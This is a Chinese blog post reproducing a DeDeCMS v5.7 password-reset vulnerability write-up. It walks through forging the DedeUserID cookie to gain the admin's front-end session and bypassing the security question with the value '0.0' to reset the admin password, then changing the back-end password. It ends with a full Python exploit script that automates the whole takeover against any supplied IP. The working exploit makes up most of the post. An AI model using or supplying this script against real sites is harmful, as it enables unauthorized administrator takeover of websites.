1. 程式人生 > >DeDeCMS v5.7 密碼修改漏洞(附PoC)

DeDeCMS v5.7 密碼修改漏洞(附PoC)

原文:https://paper.seebug.org/507/
參考:
https://xz.aliyun.com/t/1959
https://xz.aliyun.com/t/1961

安裝

注意安裝之後,註冊會員預設是需要後臺admin稽核的,這裡需要admin在後臺修改一下配置:
然而在系統設定》系統基本引數的地方無法顯示,找error.log發現是:
在這裡插入圖片描述
就是呼叫了is_php()這個函式,而該函式並沒有定義,
搜尋發現只有一個地方呼叫了include/common.func.php,直接刪掉這裡的呼叫即可。
在這裡插入圖片描述
由於admin無法前臺登入,所以需要先拿到admin的前臺許可權。

先拿到admin的前臺許可權

1.註冊0000001使用者名稱的賬號
稽核通過(或者設定為不需稽核)
2. 訪問/member/index.php?uid=0000001
注意只有訪問了/member/index.php?uid=0000001才會生成相應的所需的cookie
在這裡插入圖片描述
從圖中可以看出已經set-cookie了。
3.獲取cookie中last_vid_ckMd5值,設定DeDeUserID_ckMd5為剛才獲取的值,並設定DedeUserID為0000001。然後訪問/member/
在這裡插入圖片描述
4.向 /member/resetpassword.php傳送POST請求:

dopost=safequestion&safequestion=0.0&safeanswer=&id=1

訪問從burp中拿到的連結,重置admin前臺密碼:
在這裡插入圖片描述

http://192.168.170.139/member/resetpassword.php?dopost=getpasswd&id=1&key=KjK01TPb

在這裡插入圖片描述
直接訪問該連結,即可重置admin前臺為任意密碼。
重置admin前臺密碼之後,注意不要退出,繼續留著cookie,繼續進行修改admin後臺密碼。

修改admin後密碼

訪問:系統設定-> 個人資料 -> 基本資料

http://192.168.170.139/member/edit_baseinfo.php

在這裡插入圖片描述
然後使用新的修改後的密碼即可成功登入admin後臺:
在這裡插入圖片描述

自動指令碼必須在以下情況下才能成功:
1.是否開啟會員功能: 設定為是
2.註冊是否需要完成詳細資料的填寫 設定為否;
3.會員使用許可權開通狀態 設定為0(-10 郵件驗證 -1 手工稽核, 0 沒限制):

指令碼:

# coding=utf-8
#基於:https://xz.aliyun.com/t/1961
#參考:https://paper.seebug.org/507/
#正則參考:https://www.cnblogs.com/chuxiuhong/p/5907484.html
# 兩步的驗證碼1.jpg, 2.jpg需手動輸入
import requests
import re
import sys
import signal



if __name__ == "__main__":
    if len(sys.argv) <=1:
        exit("[!] 請輸入正確的IP格式")
    ip = sys.argv[1]
    dede_host = "http://{ip}/".format(ip=ip)
    oldpwd = '123456'
    newpwd = "cnvdcnvd"
    s = requests.Session()
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'https://127.0.0.1:8080',
    }
    rs = requests.get(dede_host + 'member/reg_new.php')
    if '系統關閉了會員功能' in rs.content:
        exit('The system has closed the member function .Can not attack !!!')

    headers = {"Referer": dede_host + "member/reg_new.php"}
    # 第一步:獲取註冊頁面的驗證碼
    rs = s.get(dede_host + 'include/vdimgck.php').content  #這個php是用來生成驗證碼的
    file = open('1.jpg', "wb")
    file.write(rs)
    file.close()

    vdcode = raw_input("Please enter the registration verification code : ")

    userid = '0000001'
    uname = '0000001'
    userpwd = '123456'


    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
               "Content-Type": "application/x-www-form-urlencoded"}
    data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={userpwd}&userpwdok={userpwd}&email=0000001%400000001.com&safequestion=0&safeanswer=&sex=%E7%94%B7&vdcode={vdcode}&agree=".format(
        userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode)
    # 第二步:提交註冊頁面,註冊0000001的使用者
    rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers)
    if "驗證碼錯誤" in rs.content:
        exit("[!] Verification code error, account registration failed")
    elif '註冊成功' in rs.content:
        print '[*] registration success !!'
    
    # 第三步:訪問/member/index.php?uid=0000001 得到所需的cookie: last_vid__ckMd5
    rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid))
    if "資料尚未通過稽核" in rs.content:
        exit("[!] User information has not been approved !!!")  # 會員使用許可權開通狀態(-10 郵件驗證 -1 手工稽核, 0 沒限制):
    searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
    last_vid__ckMd5 = searchObj.group(1)
    s.cookies['DedeUserID'] = userid
    s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
    # 第四步:驗證admin前臺登入成功
    rs = s.get(dede_host + "/member/index.php")
    if "class=\"userName\">admin</a>" in rs.text:
        print "[*] Administrator login successful !!"

    # 第五步:得到可修改admin前臺登陸密碼的url
    data = {"dopost": "safequestion", "safequestion": "0.0", "safeanswer": "", "id": "1"}
    rs = s.post(dede_host + 'member/resetpassword.php', data=data)
    if "請10分鐘後再重新申請" in rs.content:
        print "[!] 對不起,請10分鐘後再重新申請"
        exit()
    key = re.search(r"(?<=key=)[a-zA-Z0-9]{8}(?=')", rs.content, re.M).group()
    rs = s.get(dede_host + 'member/resetpassword.php?dopost=getpasswd&id=1&key={key}'.format(key=key))
    if "找回密碼第二步" in rs.content:
        data = {"dopost":"getpasswd", "setp": "2", "id": "1", "userid": "admin", "key": key, "pwd": oldpwd, "pwdok": oldpwd}
        s.post(dede_host + 'member/resetpassword.php', data=data)
    # 第六步:拿到帶有key的連結修改admin前臺登入密碼
    if "更改密碼成功" in rs.content:
        print "[*] Password changed succuessfully!"
    # 第七步:修改admin後臺登入密碼
    headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
    rs = s.get(dede_host + 'include/vdimgck.php').content
    file = open('2.jpg', "wb")
    file.write(rs)
    file.close()

    vdcode = raw_input("Please enter the verification code : ")

    data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
            "safequestion": "0", "newsafequestion": "0", "sex": "男", "email": "[email protected]", "vdcode": vdcode}
    rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data, proxies=proxies)
    if "成功更新你的基本資料" in  rs.content:
       print "[*] Administrator password modified successfully !!"
       print "[*] The new administrator password is : " + newpwd
    else:
        print "[!] attack fail"

在這裡插入圖片描述